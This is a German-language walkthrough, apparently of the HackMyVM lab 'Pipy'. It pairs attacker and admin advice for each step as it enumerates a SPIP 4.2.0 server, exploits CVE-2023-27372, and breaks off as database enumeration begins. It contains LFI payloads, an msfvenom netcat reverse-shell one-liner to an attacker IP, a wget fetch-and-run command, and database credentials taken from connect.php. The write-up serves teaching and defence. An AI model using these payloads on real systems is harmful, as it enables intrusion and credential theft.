Analyse: Der Test beginnt standardmäßig mit einem `arp-scan -l`, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Ein Host mit der IP `192.168.2.106` und MAC `08:00:27:7d:63:60` (Oracle VirtualBox) wird identifiziert. Dies ist das Ziel "Pipy".
Empfehlung (Pentester): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung und Segmentierung können helfen, solche Scans zu erkennen.
192.168.2.106 08:00:27:7d:63:60 PCS Systemtechnik GmbH
Analyse: Die lokale `/etc/hosts` Datei wird bearbeitet, um der IP `192.168.2.106` den Hostnamen `pipy.hmv` zuzuweisen.
Bewertung: Erleichtert die Verwendung des Zielnamens in nachfolgenden Befehlen.
Empfehlung (Pentester): Den Hostnamen `pipy.hmv` verwenden.
Empfehlung (Admin): Lokale Angreiferkonfiguration.
# (Inhalt nach Bearbeitung) 127.0.0.1 localhost 192.168.2.106 pipy.hmv
Analyse: Der Webserver-Scanner `nikto` wird auf Port 80 des Ziels (`192.168.2.106`) ausgeführt.
Bewertung: Nikto identifiziert Apache/2.4.52 (Ubuntu) und macht mehrere wichtige Funde: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Ungewöhnliche Header `x-spip-cache` und `composed-by`, wobei letzterer auf "SPIP 4.2.0" als CMS und eine potentiell interessante Datei `/local/config.txt` hinweist. * Veraltete Apache-Version. * Directory Indexing für `/config/` und `/tmp/`. * Eine Standard `htaccess.txt` von Joomla! (wahrscheinlich False Positive, da SPIP läuft). * PHP Composer-Dateien (`composer.json`, `composer.lock`), die Konfigurationsinfos enthalten könnten. * Eine `README.md`.
Empfehlung (Pentester): Die wichtigsten Hinweise sind SPIP 4.2.0 (bekannte Schwachstellen recherchieren!), die mögliche `/local/config.txt`, die indizierbaren Verzeichnisse `/config` und `/tmp` sowie die Composer-Dateien. Untersuchen Sie diese Punkte priorisiert.
Empfehlung (Admin): Header hinzufügen, Apache aktualisieren, Directory Indexing deaktivieren, sensible Dateien (`config.txt`, Composer-Dateien) sichern, SPIP CMS auf die neueste Version patchen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2023-10-26 22:38:17 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.52 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: Uncommon header 'x-spip-cache' found, with contents: 86400. + /: Uncommon header 'composed-by' found, with contents: SPIP 4.2.0 @ www.spip.net + http://192.168.2.106/local/config.txt. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /config/: Directory indexing found. + /config/: Configuration information may be available remotely. + /tmp/: Directory indexing found. + /tmp/: This might be interesting. + /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed. + /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /README.md: Readme Found. + 8102 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2023-10-26 22:38:48 (GMT2) (31 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird auf das Ziel ausgeführt. `-sC` führt Standard-NSE-Skripte aus, `-Pn` überspringt die Host-Discovery (Ping-Scan), falls der Host nicht auf Pings antwortet.
Bewertung: Bestätigt die offenen Ports 22 (SSH - OpenSSH 8.9p1 Ubuntu) und 80 (HTTP - Apache 2.4.52 Ubuntu). Die NSE-Skripte identifizieren ebenfalls das CMS als SPIP 4.2.0 über den Generator-Tag und liefern den Seitentitel "Mi sitio SPIP". Die OS-Erkennung und MAC-Adresse werden bestätigt.
Empfehlung (Pentester): Die Bestätigung von SPIP 4.2.0 ist der wichtigste Fund. Suchen Sie gezielt nach Exploits für diese Version.
Empfehlung (Admin): Aktualisieren Sie SPIP 4.2.0 dringend, da diese Version bekannte Schwachstellen aufweist.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 22:38 CEST Nmap scan report for pipy.hmv (192.168.2.106) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA) |_ 256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-generator: SPIP 4.2.0 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Mi sitio SPIP MAC Address: 08:00:27:7D:63:60 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms pipy.hmv (192.168.2.106) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
Analyse: Der vorherige Nmap-Scan wird gefiltert (`grep open`) wiederholt.
Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP).
Empfehlung (Pentester): Nützlich für schnellen Überblick.
Empfehlung (Admin): Keine neuen Informationen.
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche eingesetzt, mit einer großen Wortliste und vielen Erweiterungen.
Bewertung: Findet Standard-SPIP-Verzeichnisse (`/local`, `/vendor`, `/config`, `/tmp`, `/IMG`, `/ecrire`), `index.php`, `spip.php`, `LICENSE`, `spip.png` und `htaccess.txt`. Bestätigt die Ergebnisse von Nikto und Nmap.
Empfehlung (Pentester): Untersuchen Sie `htaccess.txt` und den Inhalt der Verzeichnisse, insbesondere `/config`, `/tmp` und `/ecrire` (Admin-Bereich).
Empfehlung (Admin): Sichern Sie SPIP-Verzeichnisse gemäß den Best Practices des CMS.
http://pipy.hmv/index.php (Status: 200) [Size: 7519] http://pipy.hmv/local (Status: 301) [Size: 304] [--> http://pipy.hmv/local/] http://pipy.hmv/javascript (Status: 301) [Size: 309] [--> http://pipy.hmv/javascript/] http://pipy.hmv/vendor (Status: 301) [Size: 305] [--> http://pipy.hmv/vendor/] http://pipy.hmv/config (Status: 301) [Size: 305] [--> http://pipy.hmv/config/] http://pipy.hmv/tmp (Status: 301) [Size: 302] [--> http://pipy.hmv/tmp/] http://pipy.hmv/LICENSE (Status: 200) [Size: 35147] http://pipy.hmv/IMG (Status: 301) [Size: 302] [--> http://pipy.hmv/IMG/] http://pipy.hmv/spip.png (Status: 200) [Size: 1212] http://pipy.hmv/spip.php (Status: 200) [Size: 7518] http://pipy.hmv/htaccess.txt (Status: 200) [Size: 4307] http://pipy.hmv/ecrire (Status: 301) [Size: 305] [--> http://pipy.hmv/ecrire/]
Analyse: Der Inhalt der gefundenen Datei `htaccess.txt` wird angezeigt.
Bewertung: Dies ist die Standard `.htaccess`-Datei für SPIP 4.2. Sie enthält Umschreiberegeln (RewriteRules) für verschiedene URL-Typen (propres, libres etc.), API-Endpunkte (`.api`) und Standarddateien (`robots.txt`, `favicon.ico`, `sitemap.xml`), die alle an `spip.php` weitergeleitet werden. Sie blockiert den Zugriff auf versteckte Dateien (beginnend mit ".") und Composer-Dateien.
Empfehlung (Pentester): Die Regeln zeigen, dass die meisten Anfragen über `spip.php` laufen. Achten Sie auf Parameter in `spip.php`, die für Angriffe wie LFI oder SQLi anfällig sein könnten (z.B. `page=`, `action=`, `id=`).
Empfehlung (Admin): Dies ist eine Standarddatei. Stellen Sie sicher, dass sie korrekt als `.htaccess` im Web-Root aktiviert ist, um die darin enthaltenen Schutzmechanismen (Blockierung von `.`-Dateien) zu nutzen.
# Inhalt von http://pipy.hmv/htaccess.txt # Fichier .htaccess SPIP v 4.2 # # # # Permet de controler les URLs et la version de php utilisee # # Compatible avec les URLs 'html', 'propres' et 'propres2' # # # # Pour utiliser ce fichier renommez-le '.htaccess' dans le # # repertoire racine du site, en veillant a ne pas ecraser un # # .htaccess personnalise qui s'y trouverait deja # # # # Attention certains hebergeurs desactivent tout ou partie # # des fonctions du fichier .htaccess ; celui-ci est donc # # indicatif - en cas de difficulte voir sur les forums SPIP # RewriteEngine On # CONFIGURATION # # Configuration sous-repertoire # Calcule automatiquememt le RewriteBase (qui permet de faire fonctionner # les belles URLs). De la sorte, un meme site peut etre affiche en racine # ou dans un sous repertoire sans devoir modifier la ligne RewriteBase. RewriteCond %{REQUEST_URI}::$1 ^(/.+)/(.*)::\2$ RewriteRule ^(.*) - [E=BASE:%1] # En alternative aux 2 lignes precedentes (a commenter dans ce cas), # vous pouvez indiquer un RewriteBase specifique #RewriteBase / # FIN CONFIGURATION # # REGLAGES PERSONNALISES # # Inscrivez ci-dessous vos reglages supplementaires # FIN REGLAGES PERSONNALISES # # GESTIONS DES URLS SPIP # # # Regle optionnelle pour les articles dont on force l'URL avec leur id numerique # Attention dans ce cas a ce que leur URL textuelle ne soit pas la meme # qu'une URL de rubrique ou autre mot cle etc... #RewriteRule ^([1-9][0-9]*)$ spip.php?action=redirect&type=article&status=301&id=$1 [QSA,L] # # URLs page=xxx Standard SPIP # necessite le bloc suivant pour ne pas court-circuiter les /api.php/... # #RewriteRule ^(([^/]+/)?(robots\.txt|favicon\.ico|sitemap\.xml))$ spip.php?page=$1 [QSA,L] # # APIs # http://site/xmlrpc.api # http://site/atom.api/articles/1234 # https://site/offline.api.sw.js RewriteRule ^(ecrire/)?([\w]+)\.api([/.](.*))?$ spip.php?action=api_$2&arg=$4 [QSA,L] # Fin des APIs # # # URLs "propres", "propres2", "libres", "arbo" # Laisser passer les documents dans les squelettes, sinon boucle infinie sur les fonds RewriteRule ^(squelettes(-dist)?/.*)$ $0 [L] # Bloquer le chargement des fichiers squelettes qui se terminent par ~ ou # RewriteRule (^|/)(.*([.]php[345]?|[.]html?|[.]txt|[.]css|[.]js|[.]inc|[.]yaml|[.]xml)[~#])$ - [R=404,L] # En revanche, les URLs correspondant a des fichiers ou dossiers existants ne sont pas # transformees (critere demande par file ou dir, mais pas par link) RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule .* - [S=1] # Tout le reste est envoye a spip.php avec le parametre url= pour interpretation # (voir le code de public/assembler() et la fonction generer_url_public()) RewriteRule ^([^\.]+(\.html)?)$ spip.php [QSA,E=url_propre:$0,L] # Fin URLs "propres" et "propres2" # # # Divers # bloquer les acces aux fichiers caches (.svn, .git, etc) RewriteCond %{REQUEST_URI} !^/.well-known/ RewriteRule "(^|/)\." - [R=404,NC,L] # bloquer les informations Composer RedirectMatch 404 ^/composer\.(json|lock|phar)$ # # Fichiers "standards" (si absents de la racine) # RewriteRule ^robots[.]txt$ spip.php?page=robots.txt [QSA,L] RewriteRule ^favicon[.]ico$ spip.php?page=favicon.ico [QSA,L] RewriteRule ^sitemap[.]xml$ spip.php?page=sitemap.xml [QSA,L] # FIN GESTIONS DES URLS SPIP #
Analyse: Verschiedene URLs werden aufgerufen, um Schwachstellen auszunutzen oder Informationen zu sammeln: * `spip.php?page=sitemap.xml`: Zeigt die Sitemap an, enthüllt aber eine interne IP (192.168.0.119). * `spip.php?page=/etc/passwd`: Versuch einer Local File Inclusion (LFI), wird blockiert ("Zugang gesperrt"). * `spip.php?page=php://filter/convert.base64-encode/resource=/config/connect.php`: Versuch, die Konfigurationsdatei mittels PHP-Filter als Base64 auszulesen, wird ebenfalls blockiert.
Bewertung: Die Sitemap enthüllt eine interne IP, was auf Netzwerkstrukturen hindeuten kann. Die LFI-Versuche scheitern, was zeigt, dass `spip.php` (oder die Serverkonfiguration) einen gewissen Schutz gegen einfache LFI über den `page`-Parameter bietet.
Empfehlung (Pentester): Notieren Sie die interne IP. Da LFI über `page` nicht direkt funktioniert, suchen Sie nach anderen Parametern oder Schwachstellen in SPIP 4.2.0, insbesondere RCE oder SQLi.
Empfehlung (Admin): Stellen Sie sicher, dass keine internen IPs in öffentlich zugänglichen Dateien wie Sitemaps preisgegeben werden. Halten Sie SPIP aktuell, um bekannte LFI- und andere Schwachstellen zu schließen.
# Aufruf von http://pipy.hmv/spip.php?page=sitemap.xml# Aufruf von http://pipy.hmv/spip.php?page=/etc/passwd # Ergebnis: Zugang gesperrt # Aufruf von http://pipy.hmv/spip.php?page=php://filter/convert.base64-encode/resource=/config/connect.php # Ergebnis: Zugang gesperrt http://192.168.0.119/ hourly
Analyse: Erneuter `dirb`-Scan, diesmal tiefergehend, um weitere Verzeichnisse und Dateien zu finden.
Bewertung: Findet weitere Unterverzeichnisse unter `/ecrire/` (SPIP-Adminbereich). Bestätigt `/config`, `/local`, `/tmp` etc.
Empfehlung (Pentester): Erkunden Sie die Struktur von `/ecrire/` weiter. Untersuchen Sie `/tmp` auf interessante Dateien.
Empfehlung (Admin): Keine neuen kritischen Funde, aber Bestätigung der Notwendigkeit, die SPIP-Installation abzusichern.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Oct 26 22:38:37 2023 URL_BASE: http://pipy.hmv/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4615 ---- Scanning URL: http://pipy.hmv/ ---- ==> DIRECTORY: http://pipy.hmv/config/ ==> DIRECTORY: http://pipy.hmv/ecrire/ + http://pipy.hmv/index.php (CODE:200|SIZE:7519) ==> DIRECTORY: http://pipy.hmv/javascript/ + http://pipy.hmv/LICENSE (CODE:200|SIZE:35147) ==> DIRECTORY: http://pipy.hmv/local/ ==> DIRECTORY: http://pipy.hmv/prive/ + http://pipy.hmv/server-status (CODE:403|SIZE:273) ==> DIRECTORY: http://pipy.hmv/squelettes-dist/ ==> DIRECTORY: http://pipy.hmv/tmp/ ==> DIRECTORY: http://pipy.hmv/vendor/ ---- Entering directory: http://pipy.hmv/ecrire/ ---- ==> DIRECTORY: http://pipy.hmv/ecrire/action/ ==> DIRECTORY: http://pipy.hmv/ecrire/auth/ ==> DIRECTORY: http://pipy.hmv/ecrire/base/ ==> DIRECTORY: http://pipy.hmv/ecrire/exec/ ==> DIRECTORY: http://pipy.hmv/ecrire/inc/ + http://pipy.hmv/ecrire/index.php (CODE:302|SIZE:432) ==> DIRECTORY: http://pipy.hmv/ecrire/install/ ==> DIRECTORY: http://pipy.hmv/ecrire/lang/ ==> DIRECTORY: http://pipy.hmv/ecrire/notifications/ ==> DIRECTORY: http://pipy.hmv/ecrire/plugins/ ==> DIRECTORY: http://pipy.hmv/ecrire/public/ ==> DIRECTORY: http://pipy.hmv/ecrire/req/ ==> DIRECTORY: http://pipy.hmv/ecrire/src/ ==> DIRECTORY: http://pipy.hmv/ecrire/urls/ ==> DIRECTORY: http://pipy.hmv/ecrire/xml/ [...]
Analyse: Manuelle Untersuchung des `/tmp`-Verzeichnisses, findet die Datei `job_queue_next.txt`.
Bewertung: Die Datei enthält nur einen Zeitstempel (Unix-Timestamp), wahrscheinlich für die SPIP-interne Job-Verarbeitung. Bietet keine direkten Hinweise für einen Exploit.
Empfehlung (Pentester): Notieren, aber geringe Priorität.
Empfehlung (Admin): Stellen Sie sicher, dass `/tmp` keine sensiblen Daten enthält und korrekte Berechtigungen hat.
# Manuelle Untersuchung von http://pipy.hmv/tmp/ # Inhalt von http://pipy.hmv/tmp/job_queue_next.txt: 1698359913
Analyse: Der Inhalt einer lokalen Datei `/home/cyber/Downloads/mysql.log` wird angezeigt.
Bewertung: Diese Logdatei stammt vom Angreifer-System, nicht vom Ziel. Sie zeigt fehlgeschlagene MySQL-Login-Versuche gegen eine *andere* IP (`192.168.0.101`) mit Benutzernamen `admin` und `spipuser`. Dies ist für den aktuellen Test auf `192.168.2.106` (pipy.hmv) irrelevant, könnte aber aus einem früheren Test stammen und den Benutzernamen `spipuser` als potenzielles Ziel für MySQL auf `pipy.hmv` nahelegen.
Empfehlung (Pentester): Notieren Sie den Benutzernamen `spipuser` als möglichen MySQL-Benutzer auf dem Ziel. Der Rest des Logs ist nicht relevant für Pipy.
Empfehlung (Admin): Keine Aktion für Pipy erforderlich.
2023-10-03 15:41:30 192.168.0.101 (pid 4740) :Pri:INFO: Echec mysqli_connect. Erreur : Access denied for user 'admin'@'localhost' (using password: YES) [...] 2023-10-03 15:42:58 192.168.0.101 (pid 4802) :Pri:INFO: Echec mysqli_connect. Erreur : Access denied for user 'spipuser'@'localhost' (using password: YES) [...]
Analyse: Untersuchung des Inhalts einer Cache-Datei (`chemin.txt`) aus `/tmp/cache/`.
Bewertung: Die Datei enthält serialisierte PHP-Daten (Arrays), die interne Dateipfade des SPIP-CMS auf dem Server offenlegen (z.B. `ecrire/inc/meta.php`, `plugins-dist/textwheel/inc/notes.php`). Sie enthält auch einen Hinweis auf `webmestre` und `varchar(3)`, was auf Datenbankstrukturen hindeuten könnte.
Empfehlung (Pentester): Die offengelegten Pfade können helfen, die Struktur der Anwendung besser zu verstehen und gezieltere Angriffe (z.B. auf spezifische Plugin-Pfade) zu planen. Die Datenbank-Hinweise sind vage.
Empfehlung (Admin): Konfigurieren Sie SPIP oder den Webserver so, dass solche Cache-Dateien nicht öffentlich zugänglich sind oder keine sensiblen Pfadinformationen enthalten.
# Inhalt von http://pipy.hmv/tmp/cache/chemin.txt (gekürzt) a:2:{s:32:"8dffc0e7c7f8f6c256250ae4d6e303b6";a:36:{s:0:"";a:257:{s:12:"inc/meta.php";s:19:"ecrire/inc/meta.php";s:12:"inc/lang.php";s:19:"ecrire/inc/lang.php";s:20:"inc/filtres_mini.php";s:27:"ecrire/inc/filtres_mini.php";[...]s:12:"inc/presentation";[...]}} # Weiter unten in der Datei (Beispiel) # ... webmestre";s:33:"varchar(3) ...
Analyse: Untersuchung der Datei `composer.json` aus dem `/vendor/jakeasmith/http_build_url/`-Verzeichnis.
Bewertung: Enthält Metadaten über eine verwendete PHP-Bibliothek (`jakeasmith/http_build_url`). Bietet Informationen über Abhängigkeiten, aber keine direkten Zugangsdaten oder Schwachstellen.
Empfehlung (Pentester): Notieren Sie die verwendete Bibliothek. Suchen Sie nach bekannten Schwachstellen in dieser spezifischen Bibliothek oder Version.
Empfehlung (Admin): Stellen Sie sicher, dass `vendor`-Verzeichnisse nicht web-zugänglich sind. Halten Sie alle Composer-Abhängigkeiten aktuell.
# Inhalt von http://pipy.hmv/vendor/jakeasmith/http_build_url/composer.json (formatiert) { "name": "jakeasmith/http_build_url", "description": "Provides functionality for http_build_url() to environments without pecl_http.", "license": "MIT", "authors": [ { "name": "Jake A. Smith", "email": "theman@jakeasmith.com" } ], "support": { "issues": "https://github.com/jakeasmith/http_build_url/issues", "source": "https://github.com/jakeasmith/http_build_url" }, "autoload": { "files": [ "src/http_build_url.php" ] } }
Analyse: Untersuchung des Quellcodes von `spip.php` und Identifizierung des Generator-Tags, der SPIP 4.2.0 bestätigt. Verweis auf einen Exploit für CVE-2023-27372 in SPIP < 4.2.1 (Exploit-DB 51536), der Remote Code Execution (RCE) ermöglicht.
Bewertung: Dies ist der wahrscheinlichste Weg zum Initial Access. Die Version 4.2.0 ist für diese RCE-Schwachstelle anfällig.
Empfehlung (Pentester): Laden Sie den Exploit (z.B. von Exploit-DB oder GitHub) herunter und verwenden Sie ihn, um Befehle auf dem Zielserver auszuführen.
Empfehlung (Admin): Patchen Sie SPIP sofort auf Version 4.2.1 oder höher.
# Quellcode von http://pipy.hmv/spip.php enthält: # Recherche nach Exploits für SPIP 4.2.0 führt zu CVE-2023-27372 (RCE) # Beispiel: https://www.exploit-db.com/exploits/51536
Analyse: Ein Python-Exploit-Skript (`rce_spip.py`, vermutlich basierend auf CVE-2023-27372) wird verwendet, um den `id`-Befehl auf dem Zielserver auszuführen.
Bewertung: Der Exploit funktioniert und führt den `id`-Befehl erfolgreich aus. Er gibt auch den benötigten Anti-CSRF-Token zurück, der für weitere Ausführungen benötigt wird.
Empfehlung (Pentester): Die RCE-Schwachstelle ist bestätigt. Verwenden Sie den Exploit nun, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Patchen Sie SPIP dringend!
[+] Anti-CSRF token found : iYe2q77AjJpzr7DiCN466DffCNPeUp0xMFqKM8HZ2jA5IWNjp6Vhzoioj1CV4d/wM8wzPYKIJAYCiLEY+fBNfgPHcNshG3+b [+] Execute this payload : s:22:""; # (Ausgabe des id-Befehls vom Server hier nicht gezeigt, aber Erfolg impliziert)
Analyse: `msfvenom` wird verwendet, um eine Netcat-basierte Reverse-Shell-Payload für Unix-Systeme zu generieren. Der Listener soll auf `192.168.2.199` (Angreifer-IP) und Port 443 lauschen.
Bewertung: Die Payload (`mkfifo ... nc ...`) wird erfolgreich generiert.
Empfehlung (Pentester): Kopieren Sie diese Payload, um sie mit dem SPIP-Exploit auf dem Ziel auszuführen.
Empfehlung (Admin): Keine Aktion erforderlich.
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 98 bytes mkfifo /tmp/gyvpcu; nc 192.168.2.199 443 0/tmp/gyvpcu 2>&1; rm /tmp/gyvpcu
Analyse: Die generierte msfvenom-Payload wird in eine lokale Datei `shell.sh` gespeichert.
Bewertung: Vorbereitung für den Transfer zum Ziel.
Empfehlung (Pentester): Verwenden Sie `wget` oder `curl` auf dem Ziel (via RCE-Exploit), um diese Datei herunterzuladen.
Empfehlung (Admin): Keine Aktion.
# Inhalt der Datei shell.sh: mkfifo /tmp/gyvpcu; nc 192.168.2.199 443 0/tmp/gyvpcu 2>&1; rm /tmp/gyvpcu
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System auf Port 443 gestartet.
Bewertung: Der Listener ist bereit, die eingehende Verbindung der Reverse Shell zu empfangen.
Empfehlung (Pentester): Führen Sie nun den Exploit aus, um die `shell.sh` herunterzuladen und auszuführen.
Empfehlung (Admin): Netzwerk-Monitoring, Egress Filtering.
Listening on 0.0.0.0 443
Analyse: Der Python-SPIP-Exploit wird erneut verwendet, diesmal mit dem Befehl `wget http://192.168.2.199/shell.sh > shell.sh | bash shell.sh`. Dies soll die `shell.sh` vom Angreifer herunterladen, in eine lokale Datei `shell.sh` speichern und diese dann ausführen. Parallel dazu läuft ein Python-HTTP-Server auf dem Angreifer-System, um die `shell.sh` bereitzustellen.
Bewertung: Der `wget`-Teil funktioniert (der HTTP-Server zeigt einen erfolgreichen GET-Request), aber die Reverse Shell kommt nicht beim Listener an ("klappt alles nicht..."). Der Befehl ist fehlerhaft: `wget ... > shell.sh` leitet die *Ausgabe* von `wget` (Fortschrittsbalken etc.) in die Datei `shell.sh`, nicht den heruntergeladenen Inhalt. Die Pipe (`|`) führt dann `bash` mit einer leeren oder falschen Datei aus.
Empfehlung (Pentester): Korrigieren Sie den Exploit-Befehl. Entweder `wget http://192.168.2.199/shell.sh -O /tmp/s.sh && bash /tmp/s.sh` oder führen Sie die Reverse-Shell-Payload direkt mit dem `-c` Parameter des Exploits aus.
Empfehlung (Admin): Patchen Sie SPIP.
# (Exploit läuft, aber keine Shell kommt an)
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.106 - - [26/Oct/2023 23:24:30] "GET /shell.sh HTTP/1.1" 200 -
# Anmerkung im Originaltext: # klappt alles nicht... # nochmal direkt die shell in den Befehl einbauen
Analyse: Der Python-SPIP-Exploit wird erneut ausgeführt, diesmal wird die Netcat-Reverse-Shell-Payload direkt als auszuführender Befehl (`-c`) übergeben. Ein Listener lauscht auf Port 4443.
Bewertung: Dieser Versuch ist erfolgreich! Der Netcat-Listener empfängt eine Verbindung vom Zielsystem. Die Shell gehört dem Benutzer `www-data`.
Empfehlung (Pentester): Initial Access als `www-data` wurde erreicht. Beginnen Sie mit der Enumeration als dieser Benutzer, um Privilegieneskalationsvektoren zu finden.
Empfehlung (Admin): Patchen Sie SPIP! Beschränken Sie die Rechte des `www-data`-Benutzers.
# (Exploit läuft erfolgreich)
Listening on 0.0.0.0 4443 Connection received on 192.168.2.106 40896 /bin/sh: 0: can't access tty; job control turned off $
Analyse: In der Reverse Shell als `www-data` wird in das Verzeichnis `/var/www/html/config` gewechselt, dessen Inhalt aufgelistet und die Datei `connect.php` ausgelesen.
Bewertung: Die Datei `connect.php` enthält die Zugangsdaten für die MySQL-Datenbank: Host `localhost`, Benutzer `root`, Passwort `dbpassword`, Datenbank `spip`.
Empfehlung (Pentester): Dies sind potenziell Root-Zugangsdaten für die Datenbank. Versuchen Sie, sich mit `mysql -u root -p dbpassword` an der lokalen Datenbank anzumelden.
Empfehlung (Admin): Speichern Sie Datenbankpasswörter nicht im Klartext in Konfigurationsdateien im Web-Root. Verwenden Sie sicherere Methoden (z.B. Umgebungsvariablen, Secret Management Tools). Verwenden Sie niemals den `root`-Benutzer für Webanwendungen; erstellen Sie dedizierte Benutzer mit minimalen Rechten.
total 48 drwxr-xr-x 2 www-data www-data 4096 Oct 3 15:55 . drwxr-xr-x 11 www-data www-data 4096 Oct 26 21:40 .. -rw-rw-rw- 1 www-data www-data 197 Oct 3 15:55 .htaccess -rw-rw-rw- 1 www-data www-data 0 Oct 3 15:55 .ok -rw-rw-rw- 1 www-data www-data 109 Oct 3 15:54 chmod.php -rw-rw-rw- 1 www-data www-data 163 Oct 3 15:55 cles.php -rw-rw-rw- 1 www-data www-data 243 Oct 3 15:54 connect.php -rw-r--r-- 1 www-data www-data 17240 Feb 23 2023 ecran_securite.php -rw-r--r-- 1 www-data www-data 83 Feb 23 2023 remove.txt
dbpassword','spip','mysql', 'spip','',''); ?>
Analyse: Suche nach SUID-Dateien als `www-data`.
Bewertung: Findet viele Standard-SUID-Dateien (in `/usr/libexec`, `/usr/lib`, `/snap`, `/usr/bin`). Keine offensichtlich benutzerdefinierten oder ungewöhnlichen Dateien.
Empfehlung (Pentester): SUID scheint kein einfacher Vektor zu sein. Konzentrieren Sie sich auf die gefundenen Datenbank-Zugangsdaten.
Empfehlung (Admin): Minimieren Sie SUID-Berechtigungen.
275879 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1 272387 136 -rwsr-xr-x 1 root root 138408 May 29 12:08 /usr/lib/snapd/snap-confine [...] 7673 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/16202/usr/sbin/pppd
Analyse: Überprüfung der eigenen Identität (`id`), der Lesbarkeit von `/etc/passwd` und des Inhalts von `/etc/crontab`.
Bewertung: Bestätigt, dass der Benutzer `www-data` (UID 33) ist. `/etc/passwd` ist lesbar. `/etc/crontab` enthält nur Standard-Systemeinträge.
Empfehlung (Pentester): Kein direkter Vektor hier.
Empfehlung (Admin): Standardkonfigurationen.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-rw-r--r-- 1 root root 1889 Oct 4 14:33 /etc/passwd
# /etc/crontab: system-wide crontab [...] 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Analyse: Überprüfung der Systemversion (`uname -a`) und der Capabilities (`getcap -r /`).
Bewertung: Das System läuft auf Ubuntu 22.04 mit Kernel 5.15.0-84. `getcap` findet nur Standard-Capabilities (hauptsächlich für `ping` und `mtr-packet`). Keine offensichtlichen Capabilities für Privilegieneskalation.
Empfehlung (Pentester): Die Kernel-Version ist relativ aktuell, was Kernel-Exploits unwahrscheinlicher macht (aber nicht ausschließt). Capabilities scheinen kein Vektor zu sein. Fokus auf die Datenbank.
Empfehlung (Admin): Halten Sie Kernel und System aktuell. Minimieren Sie Capabilities.
Linux pipy 5.15.0-84-generic #93-Ubuntu SMP Tue Sep 5 17:16:10 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/bin/ping cap_net_raw=ep /snap/core20/1974/usr/bin/ping cap_net_raw=ep /snap/core20/2015/usr/bin/ping cap_net_raw=ep
Analyse: Mit den in `connect.php` gefundenen Zugangsdaten (`root`:`dbpassword`) wird eine Verbindung zur lokalen MySQL/MariaDB-Datenbank hergestellt. Anschließend werden Datenbanken und Tabellen aufgelistet, die `mysql`-Datenbank ausgewählt und die `user`-Tabelle abgefragt. Danach wird die `spip`-Datenbank ausgewählt und die `spip_auteurs`-Tabelle abgefragt.
